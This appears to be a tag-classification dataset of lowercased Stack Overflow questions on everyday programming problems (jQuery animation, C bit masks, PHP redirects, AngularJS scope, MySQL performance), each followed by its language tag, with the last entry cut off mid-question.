why does console.log add a space at the end of my sentence  when adding a value with the comma operator   this question is almost not worth asking  but here i am.     referencing the question above  here is the code and output    <code>var port = 3000</code>    <code>console.log( listening on port    port)</code>    outputs <code> listening on port  3000 </code>    notice the extra space thrown in there. why does this occur,javascript
multiple .hover animation functions  i m trying to figure out how to combine .animate statements in the same hover function.      basically  i have an image that  when i mouse over the div  slides out to the right while a new image slides in to replace it.    here s the code i have so far:   <pre><code>//set div dimensions equal to image s dimensions: $( #image_holder ).width($( #image_1 ).width()); $( #image_holder ).height($( #image_1 ).height());  //tell the browser what to do when hovering on the div:  $( #image_holder ).hover(function() { //when mouse hover: $( #image_0 ).animate({right:  -  + $(this).width() +  px }  /*duration*/360  /*ease*/ swing );     $( #image_1 ).animate({right:  0px }  /*duration*/360  /*ease*/ swing ); }    function() { //when mouse out  no hover:     $( #image_0 ).animate({right:  0px }  /*duration*/360  /*ease*/ swing );       $( #image_1 ).animate({right:  -  + $(this).width() +  px }  /*duration*/360  /*ease*/ swing ); }); </code></pre>   and my html is pretty simple:   <pre><code>&lt;div id= image_holder  class= image_holder &gt;     &lt;img id= image_0  class= image  src= images.png  /&gt;     &lt;img id= image_1  class= image  src= images_hover.png  /&gt; &lt;/div&gt; </code></pre>   right now  the first image (image_0) does slide out  but the second image (image_1) does not slide in.  i have a feeling it s something simple i m messing up...    any suggestions would be greatly appreciated.    thanks.,jquery
splitting string by brackets and pushing into array  i have the following string   <pre><code> [01][23.81][new]  </code></pre>   i am trying to break up the string by retrieving the values between the brackets and placing them into an array so that it looks something like the following   <pre><code>array({     id         : 01      price      : 23.81      condition  :  new  }); </code></pre>   <strong>here is what i have so far...</strong>   <pre><code>var arr = new array(); $( input:checkbox.additm:checked ).each(function(){     //str.split( [ );     arr.push({         id : $(this).val()     }); }); </code></pre>   i want to know what is the best way to split the string,jquery
different click behaviour for same dom class  i have something like that:   <pre><code>    &lt;div id= ajaxcontentloader &gt;       &lt;a class= dosomething &gt;do something&lt;/a&gt;       &lt;/div&gt; </code></pre>   and    <pre><code>    $( a.dosomething ).click(function(e) {         e.preventdefault();         dosomething(please);                     return false;     }); </code></pre>   now  the strange thing (for me at least) is that  if a.dosomething is outside ajaxcontentloader it dosomething everytime it is clicked (and this is good)  but  if is inside ajaxcontentloader  and its replaced with some content  and then reappended with .append(); will not work anymore (and this is bad).    what the hell,jquery
angularjs scope does not change twice controller  i tried to change value on my dom. but it doesn t work well.    this is my source   <pre><code>&lt;div class= header_player_info  ng-controller= playerctrl &gt;     &lt;div&gt;{{ playbacktimecurrent }} / {{ playbacktimetotal }}&lt;/div&gt;     {{playerinfo.song}} &lt;/div&gt; &lt;div class= ut_player  ng-controller= playerctrl &gt;     &lt;div&gt;          &lt;span&gt;{{ playbacktimecurrent }} / {{ playbacktimetotal }}&lt;/span&gt;          &lt;div&gt; {{playerinfo.song}}&lt;/div&gt;          &lt;div&gt;{{playerinfo.artist}}&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   when called $scope.updateplayerinfo playerctrl s $scope will be change  but only second dom <code>ng-controller= playerctrl </code> apply $scope data. first <code>ng-controller= playerctrl </code> does not bind scope data. any problem with my logic    <pre><code>app.controller( playerctrl   [ $scope    $http    $location    playlist   function ($scope  $http  $location  playlist) {     $scope.playerinfo = { // init playerinfo         cover: 0          song:  please select song.      }      //other $scope function call updateplayerinfo.      $scope.updateplayerinfo = function(songdata) {         $scope.playerinfo = {             cover: songdata.cover              key: songdata.key              song : songdata.song_en              artist: songdata.artist_en         };          $scope.playerpaused = false;     }; }]); </code></pre>,angularjs
.net api best pratice  we are planning to write an api layer for our .net winforms application. i have tried to google around for good examples for some best practises but didn t find much that could answer my questions. we current have the following structure:    business logic are in separate assemblies based on the business areas. so <code>st.invoice.business.dll</code>  <code>st.order.business.dll</code> and so on. then we have <code>st.invoice.bussiness.dc.dll</code>  <code>st.order.business.dc.dll</code> and so on (dc means data contracts which has all the interfaces). we have the same structure for the data layer (<code>st.invoice.data.dll</code>) these assemblies are loaded through the service factory on run time and you can access them by going through <code>servicefactory.invoicebusinessservice.getinvoices(...)</code>. now we need to exposes functionality to other 3rd party applications. if i were to give them all the functionality of let say invoices  can i just given the above assemblies relating to invoices or do i need to create another assembly say called <code>st.invoice.businessapi.dll</code> (which would have pretty much the same public methods) which then calls the methods in the <code>st.invoice.business.dll</code> to get the work done    i just need a guideline on how to write api and does it mean giving them our dlls to use our bi and talk to our db,.net
how to convert this nsdata to nsstring   i have nsdata like this:   <pre><code>455a4f4e 00000001 01020304 00000000 00000000 </code></pre>   my code:   <pre><code>byte bytes[] = {0x45  0x5a  0x4f  0x4e  0  0  0  1  1  2  3  4  0  0  0  0  0  0  0  0}; nsdata *data = [nsdata datawithbytes:bytes length:sizeof(bytes)]; nsstring *str = [[nsstring alloc] initwithdata:data encoding:nsasciistringencoding]; nslog(@ %@   str); // prints  ezon  </code></pre>   i wish the result to be <code>ezon0001</code> etc...    why does the print result not include the digits following  ezon,objective-c
i want to print aspx page datewise   i created a invoice format in <strong><em>aspx</em></strong> page  i want that when i click on print button it asks for    <ol> <li> from and to date    blockquote and print from date to to date invoices  is it possible  </li> </ol>,asp.net
how do i extract specific  n  bits of a 32-bit unsigned integer in c   could anyone tell me as to how to extract  n  specific bits from a 32-bit unsigned integer in c.       for example  say i want the first 17 bits of the 32-bit value; what is it that i should do <br> i presume i am supposed to use the modulus operator and i tried it and was able to get the last 8 bits and last 16 bits as   <pre><code>unsigned last8bitsvalue=(32 bit integer) % 16 unsigned last16bitsvalue=(32 bit integer) % 32 </code></pre>   is this correct  is there a better and more efficient way to do this,c
how to implement the display and edit for some custom icons such as  :)    :(    i want to implement the input and display for some custom icons such as  :)    :(    @name   etc by uitextfield. maybe i can hook up the action of valuechanged for the text field to a method which scans the text. but how can i put a imageview in uitextfield  even if the icon is set as a subview of uitextfield  how can i edit this icon(shift or remove),iphone
jquery animate nav bar   can t animate  ok so i m a little bit confused  i tried anything but stil cant animate my links background-color  or even simple alert  help me solve the prob :   <pre><code>/* jquery */  $(document).ready(function () {      $( #menu a ).mouseover(function () {         $(this).animate({  left :  -=50px  }   slow );      });   }); </code></pre>   html :   <pre><code>&lt;div id= menu &gt; &lt;ul&gt; &lt;li&gt;&lt;a href= http://www.xn----2hckboeejufb0a1k.com/ &gt;one&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= http://www.xn----2hckboeejufb0a1k.com/ &gt;two&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= http://www.xn----2hckboeejufb0a1k.com/ &gt;three&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>   thanks !,jquery
get the decimal point  how to get decimal point of a number  for example:<br> if i have 1.5 how to get the 5 number,c++
how to setup background color instead of color  <pre><code>&lt;tr dir-paginate= test in data  ng-style= calculatestyle(test) &gt; &lt;td&gt;{{test.firstname}}&lt;/td&gt; &lt;td&gt;{{test.lastname}}&lt;/td&gt; &lt;td&gt;{{test.status}}&lt;/td&gt; &lt;/tr&gt;  $scope.calculatestyle = function(test) {     var style = {}     if (test.status ==  cleared )         style.color =  green ;     return style; } </code></pre>   how to setup background color instead of color. i used <code>backgroundcolor</code>  but it is not working.,angularjs
phonestatelistener android bad values  i m facing a problem on android. i would like to know if the device is connected to gsm network so it can send a sms.    i have tried two ways and it ends the same way. on the moto g 4g i am able to determine if it has an access. on the redmi note 4 it always returns false.    the first one :   <pre><code>public static boolean hascellularaccess(context context) {     telephonymanager telephonymanager = (telephonymanager)context.getsystemservice(context.telephony_service);      if(telephonymanager == null || telephonymanager.getallcellinfo() == null || telephonymanager.getallcellinfo().size() == 0){         return false;     }      if (telephonymanager.getallcellinfo().get(0) instanceof cellinfolte){         cellinfolte cellinfolte = (cellinfolte)telephonymanager.getallcellinfo().get(0);         cellsignalstrength cellsignalstrengthgsm = cellinfolte.getcellsignalstrength();         return cellsignalstrengthgsm.getlevel() &gt; 0;     }      cellinfogsm cellinfogsm = (cellinfogsm) telephonymanager.getallcellinfo().get(0);     cellsignalstrength cellsignalstrengthgsm = cellinfogsm.getcellsignalstrength();     return cellsignalstrengthgsm.getlevel() &gt; 0; } </code></pre>   the second one:   <pre><code>public class customphonelistener extends phonestatelistener { private static final string tag =  phonelistener ;  @override public void onsignalstrengthschanged(signalstrength signalstrength) {     super.onsignalstrengthschanged(signalstrength);     log.i(tag   onsignalstrengthschanged:   + signalstrength);     if (signalstrength.isgsm()) {         log.i(tag   onsignalstrengthschanged: getgsmsignalstrength                   + signalstrength.getgsmsignalstrength() + signalstrength);     }     try {          method[] methods = android.telephony.signalstrength.class                 .getmethods();         for (method mthd : methods) {             if (mthd.getname().equals( getltesignalstrength )) {                 log.i(tag                           onsignalstrengthschanged:   + mthd.getname() +                                     + mthd.invoke(signalstrength));             }         }     } catch (securityexception | illegalargumentexception | invocationtargetexception | illegalaccessexception e) {         e.printstacktrace();     }  }} </code></pre>   on the redmi i have :    <blockquote>    signalstrength: 0 48 -120 -160 -7 0 -1 <strong>99</strong> -93 -6 282 2147483647   gsm|lte 1 1 1        ==> value 99 is unknown  </blockquote>   on the moto :    <blockquote>    signalstrength: 99 0 -120 -160 -120 -1 -1 <strong>18</strong> -109 -8 116   2147483647 2147483647 gsm|lte 0 -108 -1 false 0 0 0 0 2 99 99 99 4        ==> value between 0 and 31 is ok  </blockquote>   anyone faced the problem before and resolved it   i have read that the problem exists also on some samsung galaxy.    thank you !,android
trying to figure out a query where age of a person is less than rest of people  my apologies. i have an interview tomorrow and totally freaking out.    going thru some sql questions...   <pre><code>table name :person  id int name char age int  print all the pairs of names where first person  age is less than second age (ordered by first person id)  line contains two separated names (name of first and second person) order by first and then by second person id </code></pre>,mysql
undefined method `id  from self.id  i am building a inbox messaging system from scratch and when i add self.id to the condition in the model i get a undefined method `id  error on all pages with a title of nomethoderror in messagescontroller. i have tried a few workarounds though i can t get a grip on it.    messages_controller:   <pre><code>class messagescontroller &lt; applicationcontroller    before_filter :set_user    def index     if params[:mailbox] ==  sent        @messages = @user.sent_messages     elsif params[:mailbox] ==  inbox        @messages = @user.received_messages     #elsif params[:mailbox] ==  archieved       # @messages = @user.archived_messages     end   end    def new     @message = message.new     if params[:reply_to]       @reply_to = user.find_by_user_id(params[:reply_to])       unless @reply_to.nil          @message.recepient_id = @reply_to.user_id       end     end   end    def create     @message = message.new(params[:message])     @message.sender_id = params[:user_id]     if @message.save       flash[:notice] =  message has been sent        redirect_to user_messages_path(current_user  :mailbox=&gt;:inbox)     else       render :action =&gt; :new     end   end    def show     @message = message.readingmessage(params[:id] @user_id)   end    def delete_multiple       if params[:delete]         params[:delete].each { |id|           @message = message.find(id)           @message.mark_message_deleted(@message.id @user_id) unless @message.nil          }         flash[:notice] =  messages deleted        end       redirect_to user_messages_path(@user  @messages)   end    private     def set_user       @user = current_user     end end </code></pre>   user.rb:   <pre><code>:conditions =&gt; [ messages.recipient_deleted =   and messages.recipient_id =    false self.id] ..  ..   def unread_messages     unread_message_count &gt; 0   true : false  end   # returns the number of unread messages for this user  def unread_message_count    eval  messages.count(:conditions =&gt; [ recepient_id =   and read_at is null   self.user_id])   end </code></pre>,ruby-on-rails
what s wrong in this code i provided  <pre><code>#include&lt;iostream&gt;      #include&lt;math.h&gt;  using namespace std;  int main()     {             int x[100];              float a f t;      cout&lt;&lt;  enter the amplitude: ;     cin&gt;&gt;a;      cout&lt;&lt; enter frequency: ;     cin&gt;&gt;f;      f=1.0/f;      cout&lt;&lt; enter the time interval:: ;     cin&gt;&gt;t;      int i=0;             while(i&lt;t)     {         x[i] = a * sin(2 * 3.14 * f * t);          cout&lt;&lt;x[i]&lt;&lt;    ;     }      return 0;        } </code></pre>   when i run it  i simply get a huge number of values output  all the same. for example  entering <code>5</code>  <code>7</code> and <code>9</code> gives me the continuous output:   <pre><code>4  4  4  4  4  4  4  4  4  4 4  4  4  4  4  4  4  4  4  4 4  4  4  4  4  4  4  4  4  4 4  4  4  4  4  4  4  4  4  4 4  4  4  4  4  4  4  4  4  4 4  4  4  4  4  4  4  4  4  4 : and so on... </code></pre>,c++
in php  what s the diff : $var2=$var1 ; $var2=&$var1; <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1768343/reference-assignment-operator-in-php >reference assignment operator in php =&amp;</a>    </blockquote>    <pre><code>$var2 = $var1; $var2 = &amp;$var1; </code></pre>   example:   <pre><code>$globals[ a ]=1;   function test() {     global $a;     $local=2;     $a=&amp;$local; }   test();  echo $a; </code></pre>   why is $a still 1,php
how to align baselines of 2 side-by-side divs   this is a page from <a href= http://goo.gl/zbjr6p  rel= nofollow >my blog</a>.<br> i have created a gray colored box titled <em>journal entries</em>.    the point 1 reads as <em>for recording...</em><br> as you can see  the text starting from the word <em>for</em> is slightly below the level of the number <em>1</em>.<br> same is the case with point 2.    please suggest what changes should i make to the code.    my code:   <pre><code>&lt;div style= background-color: #f0f0f0; display: table-cell; vertical-align: middle; border-radius: 15px; &gt;     &lt;div style= margin-left: 10px; margin-right: 100px; margin-top: 15px; margin-bottom: 15px; &gt;           &lt;div style= text-align: center; &gt;&lt;span style= font-family: georgia; font-size: 17px; font-weight: bold; &gt;journal entries&lt;/span&gt;&lt;/div&gt;          &lt;br&gt;           &lt;div style= font-family: serif; font-size: 17px; margin-left: 30px; &gt;              &lt;div style= float: left; &gt;1.&amp;nbsp;&lt;/div&gt;             &lt;div&gt;for recording 1&lt;sup&gt;st&lt;/sup&gt; aspect  asset value is reduced period-wise by crediting its account:&lt;/div&gt;             &lt;div style= margin-left: 20px; &gt;depreciation a/c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...dr.                 &lt;br&gt;             &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;to asset a/c&lt;/div&gt;              &lt;br&gt;              &lt;div style= float: left; &gt;2.&amp;nbsp;&lt;/div&gt;             &lt;div&gt;for recording 2&lt;sup&gt;nd&lt;/sup&gt; aspect  the depreciation for the period is transferred to the profit &amp;amp; loss account:&lt;/div&gt;             &lt;div style= margin-left: 20px; &gt;profit and loss a/c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...dr.                 &lt;br&gt;             &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;to depreciation a/c&lt;/div&gt;          &lt;/div&gt;       &lt;/div&gt; &lt;/div&gt; </code></pre>,css
how do i store variables in a class for every class to use   so i started learning c# a few days ago and i started making a simple multiplier program:   <pre><code>using system;  namespace learning_the_syntax {      public class globalvariables //this class stores all global variables i want to use. local variables will be stored inside their function/method     {         int num01;         int num02;     }      class mainclass     {          public static void main(string[] args)  //this is a function/method named  main . it is called when the program starts.          {              console.writeline( type a number to be multipied:  );              num01 = console.readline();             }     }  } </code></pre>   i created a public class to store my global variables but when i tried to use the variable <code>num01</code> in my <code>main</code> class  it shows an error message stating that <code>num01</code> does not exist in its current context. can anybody help please  thank you.,c#
php 5.3 and sqlsrv_connect  deal all   i have follow issue: i would like to connect to ms sqlserver2008 with php function. in the past it works fine with mssql_connect.  since i have updated to php 5.3 i have an array issue:    syntax:   <pre><code>$servername =  sql server ; //servername\instancename  portnumber (default is 1433) $connectioninfo = array(  db    user    pw ); $conn = sqlsrv_connect( $servername  $connectioninfo);  if( $conn ) {  echo  connection established.&lt;br /&gt; ; }else{  echo  connection could not be established.&lt;br /&gt; ;  die( print_r( sqlsrv_errors()  true));  }  exit; </code></pre>   when i will show the page  i get this array error:   <pre><code> connection could not be established.  array ( [0] =&gt; array ( [0] =&gt; imssp [sqlstate] =&gt; imssp [1] =&gt; -8 [code] =&gt; -8 [2] =&gt; an  invalid connection option key type was received. option key types must be strings.  [message] =&gt; an invalid connection option key type was received. option key types must be strings. ) )  </code></pre>   maybe somebody has an idea   for this i would be very grateful,php
console program in c++  i was recently messing around with c++ console programming. i was wondering if there was a way to make text appear on the console for a specific amount of time  then go to some more text. essentially  i m trying to create a timer object. or if you re familiar with python  it would be something like   <pre><code>import timer  print  hello world  timer.sleep(2) print  hello again world  timer.sleep(2) </code></pre>   if someone could help me with this  i would appreciate it  thanks in advance.,c++
change language option in ios app  want to add a possibility to change language in application in my app  so when the current iphone language is english. but user set turkish in app for my application i have to force my application to localize in turkish.    i am already add file  to setlanguage    localizationsystem.h<br> localizationsystem.m    on button action i write given below code:   <pre><code> if([sender tag]==0)   {     localizationsetlanguage(@ en );     nsstring * currentl = localizationgetlanguage;     nslog(@ currentl en:%@  currentl);    }  else   {     localizationsetlanguage(@ tr );     nsstring * currentl = localizationgetlanguage;     nslog(@ currentl  tr:%@  currentl);   } </code></pre>   this code doesn t change language.  in both nslog it prints give below line:   <pre><code>   2014-09-11 15:54:30.640 uyarbeni[6480:70b] currentl en:en     2014-09-11 15:54:30.640 uyarbeni[6480:70b] currentl tr:en </code></pre>   when i look through the code in  localizationsystem.m file    <pre><code>  - (void) setlanguage:(nsstring*) l         {         nslog(@ preferredlang: %@   l);         nsstring *path = [[ nsbundle mainbundle ] pathforresource:l oftype:@ lproj  ];           if (path == nil)                 [self resetlocalization];           else               bundle = [nsbundle bundlewithpath:path] ;         } </code></pre>   please help me to solve the problem. but when i select language from device setting then language get change.,ios
rails - why would i get the following output   in running through the basic rails tutorial section about outputting comments  i get the following displayed:   <pre><code>comments  commenter: me  comment: hi  #&lt;comment:0x1052af610&gt; </code></pre>   in the view i have:   <pre><code>&lt;h2&gt;comments&lt;/h2&gt; &lt;%= @post.comments.each do |comment| %&gt; &lt;p&gt;   &lt;b&gt;commenter:&lt;/b&gt;   &lt;%= comment.commenter %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;b&gt;comment:&lt;/b&gt;   &lt;%= comment.body %&gt; &lt;/p&gt; &lt;% end %&gt; </code></pre>   and in the controller i have:   <pre><code>class commentscontroller &lt; applicationcontroller   def create     @post = post.find(params[ post_id ])     @comment = @post.comments.create(params[:comment])     redirect_to post_path(@post)   end end </code></pre>   so where is the bit: <code>#&lt;comment:0x1052af610&gt;</code> coming from,ruby-on-rails
small caps and digits  i m facing a weird problem with small-caps and digits. while my text  when i tell him via   <pre><code>p {     font-variant:small-caps; } </code></pre>   is using small-caps  digits stay big. anyone know that problem and a workaround. or do i have to wrap digits in a span and scale them down by hand  i m using a webfont  which is showing small-caps in photoshop. so the font-family provides small-caps for digits.,css
check if certain bits are set in a dword  my question: i m looking at the characteristics member of the <code>image_section_header</code> struct. i want to know if a certain section is executable or not. how would i go about checking this  the characteristics member is a <code>dword</code>  and i want to be able to know if it contains the value <code>image_scn_mem_execute</code> (<code>0x20000000</code>). what would the calculation for this look like  i m guessing i have to use the modulo operator  but have no idea how.,c++
error trying to add angularjs bootstrap typeahead into custom directive  i am trying to use the angularjs ui bootstrap typeahead directive inside of one of my own custom directives  but no matter what i do i keep getting the same error:   <pre><code>error: [$compile:multidir] multiple directives [match  typeaheadmatch] asking for new/isolated scope on: &lt;div typeahead-match=   index= $index  match= match  query= query  template-url= templateurl &gt; </code></pre>   i am still not 100% comfortable with how/when to use scopes within a directive (whether we should use isolate scope or inherited scope)  so i am not sure what to do here.  this is what my directive looks like now.   <pre><code>app.directive( skmagicinput   function ($timeout) {      return {         restrict:  a           replace: true          require:  ngmodel           template:  &lt;div class= sk-magic-input &gt;\                   &lt;input type= text  ng-model= thismodel  ng-show= iseditable  ng-blur= toggleedit(true)  typeahead= item for item in items   /&gt;\                   &lt;span class= sk-magic-value  ng-show= !iseditable &amp;&amp; !isconnecting  ng-click= toggleedit() &gt;{{ thismodel }}&lt;/span&gt;\                   &lt;img src= images/interstitial/connect-animate.gif  class= iconnect  ng-show= isconnecting  /&gt;\               &lt;/div&gt;            link: function (scope  elem  attr) {             scope.iseditable = false;                var failed = false;              scope.toggleedit = function (shouldupdate) {                  scope.iseditable = !scope.iseditable;                    if (scope.iseditable) {                     elem.find( input ).css( width   elem.find( .sk-magic-value ).width());                 }                  if (shouldupdate) {                      // run api                     scope.iscomplete = false;                     scope.isconnecting = true;                     $timeout(function () {                         scope.isconnecting = false;                         scope.iscomplete = true;                         if (failed) {                             scope.isvalid = false;                         } else {                             scope.isvalid = true;                         }                     }  2000);                 }              }               scope.$watch(attr.sktypeahead  function (val) {                 scope.items = val;             });              scope.$watch(attr.ngmodel  function (val) {                 scope.thismodel = val;             });         }     } }); </code></pre>   and this is what my directive looks like in the html template   <pre><code>&lt;input sk-magic-input ng-model= mailbox.sourceaccount.accountdisplayname  sk-typeahead= model.allsourcemailboxes  /&gt; </code></pre>   i want the actual <code>&lt;input&gt;</code> value to be bound to the variable in ngmodel  and i want the typeahead source list to be the list that is given in the sktypeahead attribute.  what is the correct way to do this that does not result in this error     i found <a href= https://stackoverflow.com/questions/20363004/wrapping-angular-typeahead-in-separate-directive >another so question</a> and tried using their solution (removing the replace: true) but that did not help  nor do i want to have it be replace:false anyways.,angularjs
how to pause in c   i am a beginner of c. i run the c program  but the window closes too fast before i can see anything. how can i pause the window,c
ng-model not providing the changed value  i have change the value input of my dom element using jquery code in materialize js plugin :   <pre><code> $input.val($(this).attr( id ).trim()); </code></pre>   i am not getting the <code>ng-model</code> value in my controller  but getting  value in <code>post</code> form.    i need the implicit value on input value change.    how can i achieve this.    please advice using the code.,angularjs
html design - 100 % is not working for the element  hii     i am using .net 2008. when i designing the page in html  i have given the height of the outer table to 100%  but it is not taking to the full height of the window,html
can i  unregister  a module from angularjs 1.2   can i  unregister  a module from angularjs 1.2     i am adding a module to a project and wish to unregister it later.,angularjs
new runat= server  div element on aspx  does it require compiling   a new div element with a runat= server  property added to an asp.net presentation control does not require compilation  but can anyone explain why this works without a rebuild  if you were to perform a rebuild would the assemblies contain any new information     i am trying to understand how the .net framework treats these changes and why runat= server  controls can be added without rebuilding the related assemblies.     when adding new runat= server  controls the related designer files are updated to include additional references  therefore the compiled output differs.    <em>does anyone know what tools i could use to examine assemblies in this level of detail and perform side-by-side comparisons to identify minor alterations in their content </em>    <strong>it will work without a rebuild  so why do i care </strong>    i have a fix for a current project which involves the addition of a new runat= server  div element and i need to know if i can deploy this fix without new assemblies.     i know it will work  but i need to know the technical differences (if any) between deploying just the aspx files and deploying the aspx files with a rebuilt dll.    this question was raised to help write a deployment process for a production environment i had no direct access to. the client was particularly hot on tracking changes and maintaining a clear audit trail.    deployment packages for hotfixes would have to be small for rapid production and deployment  but must ensure environments match.,asp.net
i have file in my directory. i have imported it but still it is saying file not found..(in xcode)  i have file in my directory. i have imported it but still it is saying file not found..(in xcode),objective-c
how to detect the printed status or canceled status in web browser using javascript   i am just detecting the printed status in web browser. as you can see   browser support the status as cancel or print button. for seeing if user clicked cancel  print button  i am just using javascript. but i had not got good result for that. are there good way to detect the status,javascript
need help using multiple return values in c  my task is to print lower case input as upper case  using return 0; if it is successful. if a non-lower case ascii character is inputed there is supposed to be an error message and i should use return 1;  i ve done most of the code but am having trouble with using the error message and using return 1; without it printing characters.    here is my code:   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt;  int main()     char () {   char letters[80];   int i;   scanf( %79[0-9a-za-z ]  letters);    for(i=0;i&lt;strlen(letters);i++)   {             if(letters[i]&gt;=97&amp;&amp;letters[i]&lt;=122)             {             letters[i]=letters[i]-32;             }    }   printf( %s  letters);   return 0; } </code></pre>,c
mysql huge table select performance  i currently have a table with 10 million rows and need to increase the performance drastically.    i have thought about dividing this 1 table into 20 smaller tables of 500k but i could not get an increase in performance.      i have created 4 indexes for 4 columns and converted all the columns to int s and i have another column that is a bit.    my basic query is <code>select primary from from mytable where column1 = int and bitcolumn = b 1 </code>  this still is very slow  is there anything i can do to increase the performance     <strong>server spec</strong>    32gb memory  2tb storage  and using the standard ini file  also my processor is amd phenom ii x6 1090t,mysql
simplest way to write and read date from filename in .net  with the limitations that a filename provides  what is the simplest way to write a datetime into a filename and then read it back into a datetime in .net,.net
php header() not redirecting  my php code is inside an html file along with the below code. i don t know why the php header() is not redirecting. firefox says  the page isn’t redirecting properly     <strong>update</strong> i added the entire html code that i m trying to redirect.    <pre><code>    &lt; php     function http_protocol() {         return (isset($_server[ https ])    https  :  http ) .  :// ;     }      function http_host() {         return $_server[ http_host ];     }      function http_uri() {         return parse_url($_server[ request_uri ]  php_url_path);     }      function http_refactored_query_strings() {         $queries = explode( &amp;   $_server[ query_string ]);         $refactoredqueries = [];          foreach( $queries as $query ) {             $refactoredqueries[] = filter_var(explode( =   $query)[1]  filter_sanitize_string);         }          $queries = implode( /   $refactoredqueries);          return $queries  :   ;     }      function http_refactored_url() {         return http_protocol() . http_host() . http_uri() . http_refactored_query_strings();     }      header ( location   . http_refactored_url());exit;  &gt; &lt; php class pagination { public $current_page; public $per_page; public $total_count; public $pages_articles;  public function __construct($page=1  $per_page=20  $total_count=0) { $this-&gt;current_page = (int)$page; $this-&gt;per_page = (int)$per_page; $this-&gt;total_count = (int)$total_count; $this-&gt;pages_articles=array(  &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/cmu3tnl.jpg &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/tddxs9h.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/39rpmwb.jpg &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/1lbzq1b.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= https://i.imgur.com/y5ld4qfh.jpg &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/8humesy.jpg &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/cqczbvk.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/q3i72ul.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/yrzp9a3.jpg &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/xwmaeb6.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= https://i.imgur.com/gpgbvzw.png &gt;&lt;/div&gt;    &lt;div class= article-loop &gt;&lt;img src= http://i.imgur.com/wqvprvp.png &gt;&lt;/div&gt; ); $this-&gt;total_count = sizeof($this-&gt;pages_articles); }  public function offset() {     return ($this-&gt;current_page - 1) * $this-&gt;per_page;  } public function total_pages() {     //$this-&gt;total_count=sizeof($this-&gt;pages_articles);     return ceil($this-&gt;total_count/$this-&gt;per_page);  } public function previous_page() {     return $this-&gt;current_page - 1;  }  public function next_page() {     return $this-&gt;current_page + 1;  } public function has_previous_page() {     return $this-&gt;previous_page() &gt;= 1   true : false;  } public function has_next_page() {     return $this-&gt;next_page() &lt;= $this-&gt;total_pages()   true : false;  } } $page = !empty($_get[ page ])   (int)$_get[ page ] : 1; $per_page = 3; //$total_count=8; $pagination = new pagination($page  $per_page  $total_count);  &gt;  &lt;html&gt; &lt;body&gt; &lt;div&gt; &lt; php   $i = $pagination-&gt;offset()  ;         $limit = $pagination-&gt;per_page;         while($i&lt;$pagination-&gt;total_count &amp;&amp; $limit&gt;0) {             echo $pagination-&gt;pages_articles[$i]. &lt;br&gt; ;             $i++;             $limit--;         }  &gt; &lt;/div&gt; &lt;ul&gt; &lt; php     if($pagination-&gt;has_previous_page()) {         echo  &lt;li style= display:inline &gt;&lt;a href=  page= .$pagination-&gt;previous_page().  &gt;&amp;laquo;&lt;/a&gt;&lt;/li&gt; ;     } else {         echo  &lt;li style= display:inline  class= disabled &gt;&lt;a href= # &gt;&amp;laquo;&lt;/a&gt;&lt;/li&gt; ;     }     for($i=1; $i&lt;=$pagination-&gt;total_pages(); $i++) {         echo  &lt;a href=  page= .$i.  &gt;&lt;li style= display:inline; margin-left:5px; margin-right:5px &gt; .$i. &lt;/li&gt;&lt;/a&gt; ;     }     if($pagination-&gt;has_next_page()) {         echo  &lt;li style= display:inline &gt;&lt;a href=  page= .$pagination-&gt;next_page().  &gt;&amp;raquo;&lt;/a&gt;&lt;/li&gt; ;     } else {         echo  &lt;li style= display:inline  class= disabled &gt;&lt;a href= # &gt;&amp;raquo;&lt;/a&gt;&lt;/li&gt; ;     }  &gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,php
objective-c how to run the same code for different variables  im reasonably new to coding and i m looking for a way to have the same code run but each time for separate variable names.    basically i have multiple variables each needing to run the same code. but due to the way i intend the app to work i don t want to have to copy and paste the code over and over and change out variable names since this makes my code untidy and if i want to make a change further down the line i don t want to have to edit 100s of lines of code per variable.    example:   <pre><code>   if (variable1 == 1{        object1.center.x = cgpointmake(anotherobject1.center.x  anotherobject1.center.y);        random1.hidden = no;         [more code here just don t need to type this out to explain my purpose]    }    if (variable2 == 1{        object2.center.x = cgpointmake(anotherobject2.center.x  anotherobject2.center.y);        random2.hidden = no;         [more code here just don t need to type this out to explain my purpose]    }    if (variable3 == 1{        object3.center.x = cgpointmake(anotherobject3.center.x  anotherobject3.center.y);        random3.hidden = no;         [more code here just don t need to type this out to explain my purpose]    } </code></pre>   and i need maybe 20 of these if statements you say all pretty much running the same code but with different variables involved (in my code instead of if statements they can be anything from ibactions to collisions. im just trying to use a global example.    i basically need to shorten this down. i m happy to have repeated statements assuming they won t get in the way if 